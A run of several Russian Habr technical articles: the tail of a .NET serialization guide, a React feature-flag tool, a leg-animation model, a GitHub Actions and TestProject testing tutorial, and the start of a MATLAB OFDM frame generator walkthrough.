* Реализуя интерфейс *ISerializable*, не забудьте реализовать конструктор сериализации (*Ctor(SerializationInfo, StreamingContext)*);
* В запечатанных типах установите модификатор доступа *private* для конструктора сериализации, в незапечатанных — *protected*;
* В незапечатанных типах, реализующий интерфейс *ISerializable*, сделайте метод *GetObjectData* виртуальным;
* Проверьте, что в методе *GetObjectData* сериализуются все необходимые члены, включая члены базового типа, если он есть.
Заключение
----------
Надеюсь, вы узнали что-то новое из статьи и стали б*о*льшим экспертом в вопросах сериализации. Придерживаясь приведённых выше советов и правил, вы сможете тратить меньше времени на отладку, облегчить жизнь себе и другим разработчикам, работающим с вашими классами. А анализатор PVS-Studio ещё больше облегчит жизнь, позволяя выявлять подобные ошибки сразу после их появления.
Дополнительная информация
-------------------------
* [V3094.](http://www.viva64.com/ru/d/0505/) Possible exception when deserializing type. The Ctor(SerializationInfo, StreamingContext) constructor is missing
* [V3096.](http://www.viva64.com/ru/d/0506/) Possible exception when serializing type. [Serializable] attribute is missing
* [V3097.](http://www.viva64.com/ru/d/0507/) Possible exception: type marked by [Serializable] contains non-serializable members not marked by [NonSerialized]
* [V3099.](http://www.viva64.com/ru/d/0508/) Not all the members of type are serialized inside 'GetObjectData' method
* [V3103.](http://www.viva64.com/ru/d/0509/) A private Ctor(SerializationInfo, StreamingContext) constructor in unsealed type will not be accessible when deserializing derived types
* [V3104.](http://www.viva64.com/ru/d/0510/) 'GetObjectData' implementation in unsealed type is not virtual, incorrect serialization of derived type is possible
* [MSDN. Serialization in the .NET Framework](https://msdn.microsoft.com/en-us/library/7ay27kt9(v=vs.110).aspx)
* [MSDN. Custom Serialization](https://msdn.microsoft.com/en-us/library/ty01x675(v=vs.110).aspx)
[](http://www.viva64.com/en/b/0409/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. [How to not shoot yourself in the foot when working with serialization](http://www.viva64.com/en/b/0409/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/304734/ | null | ru | null |
# Morpheus, две таблетки и React-компоненты
Эта статья о небольшом инструменте, который позволяет экономить время при разработке и тестировании фронтенд-проектов. А ещё его можно использовать для сложных A/B тестов и (для самых смелых) прятания встроенных админок. Материал может быть полезен фронтенд-программистам, тестировщикам, тимлидам и продактам.
### Два варианта разработки большой фичи
Вариант первый — держать фичу в отдельной ветке и после тестирования мержить в мастер. Если разработка затянулась и работа идёт в нескольких ветках — получаем конфликты при мерже, сжигаем нервы разработчиков и тратим силы на повторное тестирование. Довольно распространённый вариант, писать о котором нет никакого интереса.
Поэтому, вариант второй — частые мержи в мастер. Новый код для этого нужно спрятать под так называемым [feature toggle](https://martinfowler.com/articles/feature-toggles.html), он же фича-флаг. Это обычный if/else, проверяющий значение, полученное откуда-то извне. Если true — выполняем один вариант кода, если false — другой. Значение флага требуется как-то передать на фронт, например получить его запросом или зашить в страницу при рендере. Неактуальные флаги нужно не забывать удалять, чтобы не превратить проект в мусорное ведро.
Используя такие техники, всегда можно порадовать заказчика демонстрацией наполовину сделанной фичи :)
По запросам feature flags или feature management можно нагуглить несколько готовых решений разной степени серьёзности, открытости и платности. У нас в [ATI.SU](https://about.ati.su) исторически используется самописное решение с БД, апи и админкой.
Всё бы хорошо, но мне не хватало локальности и лёгкости. Хотелось решения, с которым не будет лишней сложности, запросов на бэк и необходимости трогать серверный код.
Отсюда появилась идея: сделать React-компонент, который будет рендерить один из двух вложенных компонентов на выбор, а управлять им будем из браузерного расширения.
### Реализация
Представьте себе вот такой код в вашем приложении:
```
import Feature from ‘@ati/morpheus’;
...
}
off={() => } />
```
И аддон в браузере. Если я в аддоне нажму чекбокс — увижу новый компонент. Отожму — старый.
Лучше один раз увидеть.
Вот как выглядит тестовая страница компонента: Чем пять раз увидеть лучше один раз попробовать. Для этого — поставьте [аддон](https://addons.mozilla.org/ru/firefox/addon/ati-morpheus/) и перейдите на [тестовую страницу](https://files.ati.su/static/morpheus/).
Пару слов про параметр expire. Он необходим исключительно в гигиенических целях. Если текущая дата больше даты указанной в expire — получаем console.warn о том, что в релизной сборке есть фича с истёкшим сроком годности. При использовании инструментов вроде Sentry можем настроить алертинг и узнать о «протухании» забытых веток.
### Какие возможности открывает решение
Попутно оказалось, что подобное решение хоть и элементарно, но открывает интересные возможности.
**Например.** А если наш фича-флаг будет показывать скрытые кнопки для тестировщиков, которые позволят получить сериализованный стейт прямо из компонента или быстро приведут приложение в заданное сложное состояние? Получаем инструмент тестировщика, позволяющий обогатить баг-репорты и упростить ручное тестирование. Для такого мы сделали обёртки без свойства expire и для инструментов, которые ничего не рендерят, но что-то выполняют.
Если всё-таки захотим начальное состояние фича-флагов пробрасывать с сервера? Хоп, и теперь можем выкатывать большие фронтенд-фичи на группы пользователей или делать почти мгновенный роллбэк. Сегодня выкатили редизайн, а завтра: «верни стену», — откатили обратно.
А если управлять начальным состоянием фича-флагов на основании группы пользователя из Google Optimize или любого другого инструмента A/B-тестирования? Получаем возможность проводить тестирования сложных вариаций. Праздник для продакта (если он сможет найти свободного программиста).
### Где скачать
Изначально не было планов делать инструмент публичным, поэтому целиком на гитхабе его (пока) нет, код завязан на наши внутренние инструменты.
Статью хотелось сделать полезной, поэтому вырезал самое главное, что позволит вам создать свою реализацию, немного доработав её напильником:
<https://gist.github.com/kucheruk/8369ae5009d737f63d46886febf00b28>
### Необходимые пояснения
В качестве источника данных о фичах на странице используется Map features в contentscript.js (этот скрипт аддон внедряет на каждую страницу).
Данные для contentscript пересылает компонент Feature.
Popup.js, формирующий выпадашку аддона, запрашивает данные из contentscript.js.
Для общения используется стандартный для браузерных расширений [механизм](https://developer.chrome.com/docs/extensions/reference/tabs/#method-sendMessage).
Надеюсь, кому-то кроме нас это тоже принесёт пользу.
В дополнение рекомендую почитать, [какие ещё есть техники](https://trunkbaseddevelopment.com) для избавления от merge hell и долгоживущих веток. | https://habr.com/ru/post/583682/ | null | ru | null |
# Параметрическая модель движения ног в анимации
Параметрическая модель движения ног в анимации
----------------------------------------------
### Для чего это надо
В любой нетривиальной мультипликации существуют двигающиеся персонажи. Для их создания требуется отображать элементы ходьбы. В принципе, известно простое решение этой проблемы с помощью ключевых кадров. Автор рисует несколько ключевых положений ног, а компьютер создаёт промежуточные положения. Разнообразить полученные решения можно с помощью кривых, определяющих движение отдельных точек. Приложив определённые усилия, всегда можно добиться желаемого результата. Однако такой подход не всегда удобен. Предположим, что имеется несколько персонажей, и требуется придать каждому из них индивидуальную походку. В этой ситуации удобно пользоваться параметрической моделью, когда походка задаётся с помощью малого числа параметров. В этом случае достаточно хранить параметры для каждого характера и использовать их в нужном эпизоде для поделирования. Решение этой задачи предлагается в данной статье. Аналогичная модель строится для моделирования движения рук, поэтому ограничимся лишь анализом движения ног.
### Полигональная модель ноги
Очевидно, что достаточно рассмотреть лишь полигональную модель, определяющую движение основных костей. Такая модель представлена на [Fig.1.](#fig1) Здесь b,g,f означают длины бедра, голени и ступни соответственно. Углы α, β отсчитываются по часовой стрелке и являются отрицательными. Угол между голенью и стопой является постоянным и равен π/2. Стопа упирается в точку с координатами (x,y) на поверхности, а координаты суставов определяются уравнениями (1)
 Здесь *A,B,C* положения трех суставов: пятки, колена, тазобедренного сустава.
 Fig.1 Модель ноги
Ходьба носит периодический характер, поэтому нужно выделить какой-то момент, с начала которого будет моделироваться движение. В качестве такого момента берём положение ног, представленное на [Fig.2](#fig2) . В этот момент начинается поворот ступни передней ноги вокруг точки (x2,y2), а задняя нога начинает отрываться от поверхности. Эти точки определяют начала ступни на ногах. Заметим, что значения углов α, β не могут быть произвольными, поскольку обе ноги должны начинаться из одной точки, из тазобедренного сустава.
 Fig.2 Начальное положение ног при моделировании ходьбы
Согласно (1), последнее условие означает, что должны быть выполнены равенства (2)
" > При известных углах β1 , β2 и положениях точек опоры из (1) находим значения B1, B2, а из векторного уравнения (2) получим два скалярных уравнения для вычисления углов α. Это делается с помощью вычислений, представленных на [Snipp1](#snipp1) Snipp1
```
import numpy as np
Vec = (B_1 - B_2)/b
AngSum = -np.arctan(Vec[0]/Vec[1])
if AngSum >0: AngSum -=np.pi
AngDiff1 = np.arcsin(Vec[1]/(2*np.cos(AngSum)))
Alpha_1 = AngSum + AngDiff1
Alpha_2 = AngSum - AngDiff1
```
Здесь B\_1= B1, B\_2 = B2 -- векторы, подсчитанные согласно (1), а Alpha\_1, Alpha\_2 есть искомые α1 ,α2 соответственно.
Применение уравнений (1),(2) оказывается полезным и в других случаях, когда по некоторым известным параметрам требуется определить какой-либо другой ( например длину бедренной кости, когда известны все углы).
### Динамика ног при ходьбе
Рассмотрим движение ног в течение одного шага. Начальное положение ног представлено на [Fig.2](#fig2) , конечным положением будет точно такое же, но только ноги поменяются местами. Для начальных углов используем обозначения: α10, α20, β10, β20. В течение одного шага угол α1, например, меняется в интервале от α10 до α20. Походка будет зависеть от совместных траекторий изменения всех этих углов. Прежде всего надо определиться с таймингом, с числом кадров необходимых для отображения одного шага. Обозначим это число через NumFrames. Чтобы получить возможность описать траектории изменения угла в виде малого числа параметров, используем квадратичную интерполяцию. Реализация этой интерполяционной функции имеется, например, в пакете scipy, это scipy.interpolate.interp1d. В представленном ниже скрипте показано, как эта функция используется для наших целей.
```
def calculateCurve(Beg,End,NumFrames,InterArg,InterVal):
Fun = interp1d([0,NumFrames*InterArg,NumFrames],
[Beg,InterVal,End],kind='quadratic')
return Fun
```
При постоянных значениях длин костей в модели ноги каждая траектория определяется пятью параметрами функции calculateCurve, возвращающей функию Fun(t). Эта функция для каждого значения t, где 0< t < NumFrames выдает нужное значение (угол). При этом Fun(0)=Beg, Fun(MunFrames-1) = End. Для того, чтобы имет возможность модифицировать траекторию, вводим ещё два параметра:InterArg < 1 и InterVal. Интерполированный сигнал обладает свойством Fun(NumFrames\*InterArg)=InterVal. Эти два значения нужно подобрать таким образом, чтобы созданный сигнал как можно лучше аппроксимировал заданную траекторию. Это отдельная задача, и мы не рассматривает ее в данной статье. Нужно лишь следить за выполнением условия β < α, чтобы нога не приняла положение "коленками назад" (напомним, что все углы являются отрицательными).
Автор статьи использовал данную технику в своём ролике. Следует отметить, что качество анимации в этом ролике играет второстепенную роль. [Пример анимации](https://www.youtube.com/watch?v=59-_H5-RNt8). Обратите внимание, что различаются походки женщины при движении к двери и от двери. | https://habr.com/ru/post/586916/ | null | ru | null |
# Настройка GitHub Actions для автоматизированного тестирования средствами Python в конвейере CI/CD
> *В преддверии старта курса* [*"Python QA Engineer"*](https://otus.pw/c9C5/) *традиционно публикуем перевод полезного материала.
>
> Также приглашаем присоединиться к открытому вебинару на тему* [*"Автоматизация тестирования API".*](https://otus.pw/Iwb1/)
>
>
---
В этой статье описываются операции по тестированию клиентской части приложения с помощью [TestProject](https://testproject.io/) и [pytest](https://blog.testproject.io/2019/07/16/behavior-driven-python-tests-using-pytest-bdd/), а также способы выполнения тестов через GitHub Actions. Если у вас общедоступный репозиторий GitHub, все это будет совершенно бесплатно. Эта возможность хорошо подходит для изучения TestProject и выполнения интеграционного тестирования в ваших проектах. Если вы хотите выполнять эти операции из закрытого репозитория, то GitHub предлагает очень большое количество бесплатных минут, см. <https://github.com/features/actions#pricing-details>.
### Карточки репозиториев GitHub
Сперва я решил изучить возможности, доступные в репозиториях GitHub, поскольку они показались мне довольно простыми для понимания, а к тому же я давно не пользовался [Selenium](https://www.selenium.dev/).
Я закрепил свои любимые репозитории в верхней части своего сайта [waylonwalker.com](https://waylonwalker.com/). Информация для заполнения этих карточек динамически подтягивается на сторону клиента через API-интерфейс GitHub. Это означает, что по мере загрузки страниц JavaScript выполняет скрипты для получения информации от API-интерфейса GitHub, а затем преобразует эти данные в DOM и визуализирует их на странице. Вот как выглядят карточки репозиториев GitHub:
### Получение ключей
Прежде всего, вам понадобятся [TP*DEV*TOKEN](https://app.testproject.io/#/integrations/sdk) и [TP*API*KEY](https://app.testproject.io/#/integrations/api). Эти ключи позволят TestProject получить доступ к вашей учетной записи, чтобы автоматически размещать результаты на вашей [панели отчетности](https://app.testproject.io/#/reports).
* [TP*DEV*TOKEN](https://app.testproject.io/#/integrations/sdk)
* [TP*API*KEY](https://app.testproject.io/#/integrations/api)
В своем репозитории GitHub перейдите в раздел settings >Secrets (или добавьте settings/secrets к URL-адресу своего репозитория) и добавьте секретные токены. GitHub получит безопасный доступ к токенам, при этом они не будут доступны широкой публике (включая участников проекта со статусом contributor), не будут отображаться в файлах журналов и т. д.
### Настройка среды разработки
Чтобы ускорить работу, я настроил среду разработки в Digital Ocean. Делать это необязательно: все может работать и с вашего локального компьютера или полностью из GitHub Actions. Просто я решил, что, настроив Droplet с Ubuntu в Digital Ocean, я получу условия, близкие к продакшн-среде, а значит, смогу быстрее разработать свои тесты. Это также позволило мне немного ускорить работу всех моих тестов по сравнению с их выполнением через GitHub. При этом процесс был практически таким же, как при использовании GitHub. Таким образом, я смог детально изучить принципы настройки TestProject без необходимости выполнять полную установку при каждом запуске GitHub Actions.
> Я не буду здесь подробно описывать настройку машины для разработки. Мои заметки по ее настройке можно прочитать здесь: <https://waylonwalker.com/notes/new-machine-tpio>.
>
>
### Pytest
*Все тесты, выполняющиеся с помощью Pytest, приведены на*[*github*](https://github.com/waylonwalker/waylonwalker-com-tests/tree/master/tests)*.*
Я решил воспользоваться Pytest. Мне понравилась идея применять фикстуры, автоматически выполнять мои тестовые функции и использовать кое-какие возможности Pytest для формирования отчетов по ходу разработки (при этом платформа TestProject будет работать и без фреймворка для тестирования вроде Pytest).
**ПРИМЕЧАНИЕ**. Следуя стандартным рекомендациям по работе с Pytest, я назвал каталог с тестами именем tests. В целом все работает, но платформа TestProject.io использует этот каталог в качестве имени проекта по умолчанию. Если бы можно было вернуться назад, я либо переименовал бы каталог, задав имя, которое я хочу видеть на TestProject.io, либо задал бы имя проекта в конфигурации.
### conftest.py
*Вы можете посмотреть файл* [*conftest.py*](https://github.com/WaylonWalker/waylonwalker-com-tests/blob/master/tests/conftest.py) *на GitHub.*
В файле [conftest.py](https://github.com/WaylonWalker/waylonwalker-com-tests/blob/master/tests/conftest.py) обычно размещаются фикстуры, которые используются несколькими модулями. Pytest автоматически импортирует все модули [conftest.py](https://github.com/WaylonWalker/waylonwalker-com-tests/blob/master/tests/conftest.py) из каталога, в котором вы работаете. Это отличное место для размещения фикстур с драйверами TestProject. Обратите внимание: когда вы используете фикстуру в качестве аргумента в другой функции, фикстура выполнит настройку, передаст все из оператора `yield` в тестовую функцию, выполнит тестовую функцию, а затем освободит ресурсы.
**conftest.py** хранит фикстуры для всех модулей, находящихся в каталоге.
```
# tests/conftest.py
import time
import pytest
from src.TestProject.sdk.drivers import web driver
@pytest.fixture
def driver():
"creates a webdriver and loads the homepage"
driver = webdriver.Chrome()
driver.get("https://waylonwalker.com/")
yield driver
driver.quit()
```
Приведенный выше пример является немного **упрощенным**. В реальной версии я столкнулся с некоторыми несоответствиями и обнаружил, что процент прохождения некоторых тестов был выше при добавлении оператора time.sleep. В полном проекте я остановился на фикстурах driver и slow*driver. Таким образом, у меня еще есть драйвер, который ждет выполнения JavaScript немного дольше.*
### testrepos.py
*Полная версия*[*testrepos.py*](https://github.com/WaylonWalker/waylonwalker-com-tests/blob/main/docs/waylonwalker.com/testrepos.py)*есть на GitHub.*
Изначально я настроил три разных теста для карточек репозиториев. Я сформировал список репозиториев, которые должны были отображаться в карточках. Эти тесты довольно легко выполнить с помощью платформы TestProject.io, поскольку она использует Selenium и безголовый браузер для выполнения JavaScript. Область REPOS создана здесь как глобальный список. Ее можно легко переделать в файл конфигурации, если возникнет такая необходимость.
Для тех, кто не знает, скажу, что **безголовый (headless) браузер** работает как обычный браузер, только без графического интерфейса пользователя. JavaScript полностью загружается и парсится, а все взаимодействие с DOM осуществляется программно.
Читайте строки документации к каждой функции. В них описано то, что происходит на каждом шаге.
```
"""
Test that GitHub repo data dynamically loads the client-side.
"""
REPOS = [
"find-kedro",
"kedro-static-viz",
"kedro-action",
"steel-toes",
]
def test_repos_loaded(slow_driver):
"""
Test that each repo-name exists as a title in one of the repo cards.
On waylonwalker.com repo cards have a title with a class of "repo-name"
"""
repos = slow_driver.find_elements_by_class_name("repo-name")
# get innertext from elements
header_text = [
header.text for header in repos
]
for repo in REPOS:
assert repo in header_text
def test_repo_description_loaded(slow_driver):
"""
Test that each repo has a description longer than 10 characters
On waylonwalker.com repo cards have a descriptiion with a class of "repo-description"
"""
repo_elements = slow_driver.find_elements_by_class_name("repo")
for el in repo_elements:
desc = el.find_element_by_class_name("repo-description")
assert len(desc.text) > 10
def test_repo_stars_loaded(slow_driver):
"""
Ensure that stars are correctly parsed from the API and loaded client-side
On waylonwalker.com repo cards have a stars element with a class of "repo-stars" and
is displayed as "n stars"
"""
repo_elements = slow_driver.find_elements_by_class_name("repo")
for el in repo_elements:
stars = el.find_element_by_class_name("repo-stars")
num_stars, label = stars.text.split()
assert int(num_stars) > 0
assert label == 'stars'
```
### Форум
Я немного запутался с настройкой TestProject.io в Actions. На [форуме TestProject](https://forum.testproject.io/t/install-agent-inside-github-actions/2334/3) я быстро нашел ответ со ссылкой именно на тот пример, который был мне нужен. Пример был написан на Java, но в нем были нужные мне шаги настройки docker-compose.
### GitHub Actions
*[*[*test-waylonwalker-com.yml*](https://github.com/WaylonWalker/waylonwalker-com-tests/blob/master/.github/workflows/test-waylonwalker-com.yml)*]*
Итак, репозиторий GitHub настроен, а мои [тесты](https://github.com/WaylonWalker/waylonwalker-com-tests/tree/master/tests) успешно работают в Pytest. Теперь давайте сделаем так, чтобы они автоматически выполнялись в GitHub Actions.
Сервис Actions — это решение GitHub для CI/CD. Он позволяет выполнять код на виртуальной машине, управляемой GitHub, которая может получать дополнительную информацию из вашего репозитория, например секретные токены, которые мы настроили в самом начале. Что, как и когда выполняется — все это настраивается в файле `yaml`.
```
# .github/workflows/test-waylonwalker-com.yml
name: Test WaylonWalker.com
# Controls when the action will run. Triggers the workflow on push or pull request
# events but only for the master branch
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
schedule:
- cron: '*/10 * * * *'
```
Как видно в приведенном выше куске кода, я задал выполнение действия при отправке изменений в ветку main (команда push) или при создании pull-запроса, затрагивающего эту ветку. Я также задал достаточно агрессивный график выполнения тестов — каждые **10** **минут**. Это было необходимо, чтобы убедиться в эффективности тестов и получить больше данных для анализа в отчетах. Позднее я, скорее всего, увеличу этот интервал.
```
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@main
- uses: actions/setup-python@v2
with:
python-version: '3.8'
- run: pip install -r requirements.txt
- name: Run TestProject Agent
env:
TP_API_KEY: ${{ secrets.TP_API_KEY }} # < Let Secrets handle your keys
run: |
envsubst < .github/ci/docker-compose.yml > docker-compose.yml
cat docker-compose.yml
docker-compose -f docker-compose.yml up -d
- name: Wait for Agent to Register
run: bash .github/ci/wait_for_agent.sh
- run: pytest
env:
TP_DEV_TOKEN: ${{ secrets.TP_DEV_TOKEN }} # < Let Secrets handle your tokens
TP_AGENT_URL: http://localhost:8585
```
В коде задания test видно, что я решил выполнять его на ubuntu-latest. Первые три шага — это достаточно шаблонные действия: переключение на ветку репозитория, установка Python 3.8 и установка зависимостей из файла requirements.txt через pip. Затем ключ [TP*API*KEY](https://app.testproject.io/#/integrations/api) подставляется в [docker-compose.yml](https://github.com/WaylonWalker/waylonwalker-com-tests/blob/master/.github/ci/docker-compose.yml) с помощью envsubst, далее запускается docker-compose и ожидает готовности агента. Я также предоставил pytest наш токен [TP*DEV*TOKEN](https://app.testproject.io/#/integrations/sdk)и запустил pytest.
### docker-compose.yml
Следующий файл [docker-compose.yml](https://github.com/WaylonWalker/waylonwalker-com-tests/blob/master/.github/ci/docker-compose.yml) был предоставлен [Виталием Буховским](https://github.com/vitalybu) (одним из сооснователей и директором по безопасности TestProject) в репозитории [testproject-io/java-sdk](https://github.com/testproject-io/java-sdk/blob/master/.github/ci/docker-compose.yml). Здесь настраивается шаблон с ключом **TP*API*KEY** в качестве переменной для `envsubst`, безголовыми браузерами Chrome и Firefox и агентом TestProject.io.
```
version: "3.1"
services:
testproject-agent:
image: testproject/agent:latest
container_name: testproject-agent
depends_on:
- chrome
- firefox
environment:
TP_API_KEY: "${TP_API_KEY}"
TP_AGENT_TEMP: "true"
TP_SDK_PORT: "8686"
CHROME: "chrome:4444"
CHROME_EXT: "localhost:5555"
FIREFOX: "firefox:4444"
FIREFOX_EXT: "localhost:6666"
ports:
- "8585:8585"
- "8686:8686"
chrome:
image: selenium/standalone-chrome
volumes:
- /dev/shm:/dev/shm
ports:
- "5555:4444"
firefox:
image: selenium/standalone-firefox
volumes:
- /dev/shm:/dev/shm
ports:
- "6666:4444"
```
### Ожидание регистрации агента
[*waitforagent.sh*](https://waylonwalker.com/waitforagent.sh)
На мой взгляд, самая интересная часть приведенного выше потока операций — это то, как мы ожидаем регистрации агента. Скрипт оболочки довольно лаконичный. Он обнаруживает превышение допустимого количества попыток запуска (`max_attempts`) или наличие запущенного агента путем проверки статуса через REST API (адрес: /api/status). Это позволяет нам избежать потери времени, вызванной заданием слишком большого времени ожидания, или слишком раннего начала процесса, при котором `pytest` запускается, когда агент еще не работает.
```
trap 'kill $(jobs -p)' EXIT
attempt_counter=0
max_attempts=100
mkdir -p build/reports/agent
docker-compose -f docker-compose.yml logs -f | tee build/reports/agent/log.txt&
until curl -s http://localhost:8585/api/status | jq '.registered' | grep true; do
if [ ${attempt_counter} -eq ${max_attempts} ]; then
echo "Agent failed to register. Terminating..."
exit 1
fi
attempt_counter=$(($attempt_counter+1))
echo
sleep 1
done
```
### Панель отчетности TestProject
После запуска тестов они отображаются на панели TestProject. На ранней стадии разработки тестов возникло несколько сбоев, но после устранения неполадок тесты прогоняются стабильно.
**Панель: прохождение одного теста**
Панель отчетности позволяет находить отдельные тесты, которые были выполнены, выбирать их и просматривать отчеты по каждому тесту. Она автоматически преобразует шаги, выполненные драйвером, в понятную человеку *схему процесса*, при этом каждый шаг можно открыть и посмотреть значения, которые были получены драйвером от сайта.
Подробнее о панелях отчетности TestProject можно прочитать по следующим ссылкам:
* [HTML-отчеты о тестировании с Selenium и Appium при использовании автоматизации средствами Python](https://blog.testproject.io/2020/07/27/html-test-reports-for-selenium-and-appium-python-test-automation/)
* [Общие сведения об отчетах в TestProject](https://docs.testproject.io/reports/introduction-to-reports-in-testproject)
Это пособие создал [Уэйлон Уокер (Waylon Walker)](https://waylonwalker.com/) на основе своей статьи [«Интеграционное тестирование с помощью Python, TestProject.io и GitHub Actions»](https://waylonwalker.com/blog/testproject-io-py-actions/).
**Удачного тестирования!**
---
> **-** [**Узнать подробнее о курсе**](https://otus.pw/c9C5/) **"Python QA Engineer".**
>
> **-** [**Записаться на открытый вебинар**](https://otus.pw/Iwb1/) **"Автоматизация тестирования API".**
>
> | https://habr.com/ru/post/530630/ | null | ru | null |
# «Манифест начинающих программистов из смежных специальностей» или как я дошел до жизни такой
Сегодняшняя моя статья — это мысли вслух от человека, который встал на путь программирования почти случайно (хотя и закономерно).
Да, я понимаю, что мой опыт — это только мой опыт, однако он, мне кажется, хорошо попадает в общую тенденцию. Более того, опыт, описанный ниже, больше относится к сфере научной деятельности, однако чем чёрт не шутит — может пригодится и вне.
*Источник: <https://xkcd.com/664/>*
В общем, всем настоящим студентам от бывшего студента посвящается!
Ожидания
========
Когда в 2014 году я заканчивал бакалавриат по специальности "Инфокоммуникационные технологии и системы связи" я почти ничего не знал о мире программирования. Да, у меня, как и у многих, был на первом курсе предмет "Информатика" — но, господи, это же было на первом курсе! Прошла целая вечность!
В общем и целом, ничего особенно отличного от бакалавриата я не ждал, и поступая на магистерскую программу ["Communication and Signal Processing"](https://griat.kai.ru/communications-and-signal-processing) Германо-Российского Института Новых Технологий.
А зря...
Мы были всего вторым набором, и ребята с первого ещё только собирали чемоданы в далёкую Германию (стажировка занимает полгода на втором курсе магистратуры). Иначе говоря, никто из ближайшего круга ещё не сталкивался всерьёз с методами европейского образования, и спрашивать о деталях было особо не у кого.
Были у нас на первом курсе, конечно, разного рода практики, на которых обычно нам демократично предлагался выбор между написанием скриптов (преимущественно на языке MATLAB) и использованием разных узкоспециализированных GUI (в том смысле, что без написания скриптов — сред имитационного моделирования).
Стоит ли говорить, что мы, будущие Masters of Science, по своей юношеской дурости, как огня, сторонились написания кода. Вот, он, допустим, Simulink от компании MathWorks: вот они блоки, вот они связи, вот они всякого рода настройки и переключатели.
**Родной и понятный для человека, занимавшегося прежде схемотехникой и системотехникой, вид!**
*Источник: <https://ch.mathworks.com/help/comm/examples/parallel-concatenated-convolutional-coding-turbo-codes.html>*
Так нам казалось...
Реальность
==========
Одной из практических работ первого семестра была разработка приёмопередатчика OFDM сигнала в рамках предмета "Methods for Modeling and Optimization". Идея весьма удачная: технология и по сей день актуальная и довольно популярная в силу использования, например, в сетях Wi-Fi и LTE/LTE-A (в виде OFDMA). Самое то для магистров, чтобы потренировать навыки моделирования телеком систем.
И вот на руки нам выдают несколько вариантов ТЗ с заведомо непрактичными параметрами кадра (дабы не искать решение в Интернете), и мы накидываемся на уже упомянутый Simulink… И получаем чайником действительности по голове:
* Каждый блок таит в себе уйму неизвестных параметров, менять которые с кондачка — страшновато.
* Манипуляции с числами произвести нужно, вроде, простые, однако городить приходится всё равно дай боже.
* Кафедральные машины заметно подтормаживают от лихорадочного использование GUI, даже на этапе серфинга по библиотекам доступных блоков.
* Чтобы доделать что-то дома, нужно иметь такой же Simulink. И никаких, собственно, альтернатив.
Да, проект в итоге мы, конечно, доделали, но доделали с громким выдохом облегчения.
Прошло некоторое время, и мы подошли к окончанию первого курса магистратуры. Количество домашних работ с использованием GUI стало пропорционально спадать с увеличением доли немецких предметов, хотя ещё и не достигало точки смены парадигмы. Многие из нас, включая меня, преодолевая свою немалую амплитуду на раскачку, всё больше и больше использовали в своих научных проектах именно Matlab (пусть и в виде Toolbox'ов), а не знакомый, казалось бы, Simulink.
Точкой в наших сомнениях стала фраза одного из студентов второго курса (они как раз к тому времени вернулись в Россию):
* Забудьте, по крайне мере на время стажировки, про Similink, MathCad и прочий LabView — за бугром всё пишут на языке MATLAB, используя собственно сам MatLab или его бесплатную "версию" Octave.
Заявление оказалось верным отчасти: в Ильменау спор о выборе инструментария тоже не был решен до конца. Правда, выбор стоял по большей части между языками MATLAB, Python и C.
В тот же день меня взял закономерный азарт: а не перенести ли свою часть модели OFDM передатчика в скриптовую форму? Just for fun.
И я приступил к работе.
Step by step
============
> Вместо теоретических выкладок я просто дам ссылку на эту [прекрасную статью](https://habr.com/ru/post/129101/) 2011 года от [tgx](https://habr.com/ru/users/tgx/) и на слайды по [физическому уровню LTE](https://www.tu-ilmenau.de/fileadmin/public/iks/files/lehre/UMTS/11_LTE_Radio_ws18.pdf) профессора [Мишель-Тиля](https://scholar.google.ru/citations?user=KZi1MesAAAAJ&hl=ru&oi=sra) (ТУ Ильменау). Я думаю, этого будет достаточно.
"Итак, — подумал я, — повторим, что же мы будем моделировать?"
Моделировать будем **генератор OFDM кадра** (OFDM frame generator).
Что он будет включать:
* информационные символы
* пилотные сигналы
* нули (DC)
От чего (простоты ради) мы абстрагируемся:
* от моделирования циклического префикса (при знании основ, добавить оный уже не составит труда)
*Блок-схема рассматриваемой модели. Остановимся мы до блока обратного БПФ (IFFT). Остальное для полноты картины каждый может продолжить сам — я обещал преподавателям с кафедры оставить что-то и для студентов.*
Определим для себя тех. задание:
* фиксированное количество поднесущих (sub-carriers);
* фиксированная длина кадра;
* мы должны добавить один ноль в середину и по паре нулей к началу и концу кадра (итого, 5 штук);
* информационные символы модулируются с помощью M-PSK или M-QAM, где M — это порядок модуляции.
Приступаем к коду.
> Скрипт целиком можно gосмотреть по [ссылке](https://github.com/kirlf/csp-modeling/blob/master/scripts/OFDM_frame_generator.m).
Определим входные параметры:
```
clear all; close all; clc
M = 4; % e.g. QPSK
N_inf = 16; % number of subcarriers (information symbols, actually) in the frame
fr_len = 32; % the length of our OFDM frame
N_pil = fr_len - N_inf - 5; % number of pilots in the frame
pilots = [1; j; -1; -j]; % pilots (QPSK, in fact)
nulls_idx = [1, 2, fr_len/2, fr_len-1, fr_len]; % indexes of nulls
```
Теперь определим индексы информационных символов, приняв предпосылку, что пилотные сигналы должны обязательно идти до и/или после нулей:
```
idx_1_start = 4;
idx_1_end = fr_len/2 - 2;
idx_2_start = fr_len/2 + 2;
idx_2_end = fr_len - 3;
```
Тогда позиции можно определить с помощью функции [linspace](https://ch.mathworks.com/help/matlab/ref/linspace.html), приведя значения к наименьшему из ближайших целых:
```
inf_idx_1 = (floor(linspace(idx_1_start, idx_1_end, N_inf/2))).';
inf_idx_2 = (floor(linspace(idx_2_start, idx_2_end, N_inf/2))).';
inf_ind = [inf_idx_1; inf_idx_2]; % simple concatenation
```
Добавим к этому индексы нулей и отсортируем:
```
%concatenation and ascending sorting
inf_and_nulls_idx = union(inf_ind, nulls_idx);
```
Соответственно, индексы пилотных сигналов — это всё остальное:
```
%numbers in range from 1 to frame length
% that don't overlape with inf_and_nulls_idx vector
pilot_idx = setdiff(1:fr_len, inf_and_nulls_idx);
```
Теперь давайте разбираться с пилотными сигналами.
У нас есть шаблон (переменная *pilots*), и, допустим, мы хотим, чтобы в наш кадр пилоты вставлялись из этого шаблона последовательно. Сделать это, конечно, можно в цикле. А можно немного помудрить с матрицами — благо MATLAB позволяет делать это с достаточным комфортом.
Во-первых, определим, сколько таких шаблонов помещается в кадр полностью:
```
pilots_len_psudo = floor(N_pil/length(pilots));
```
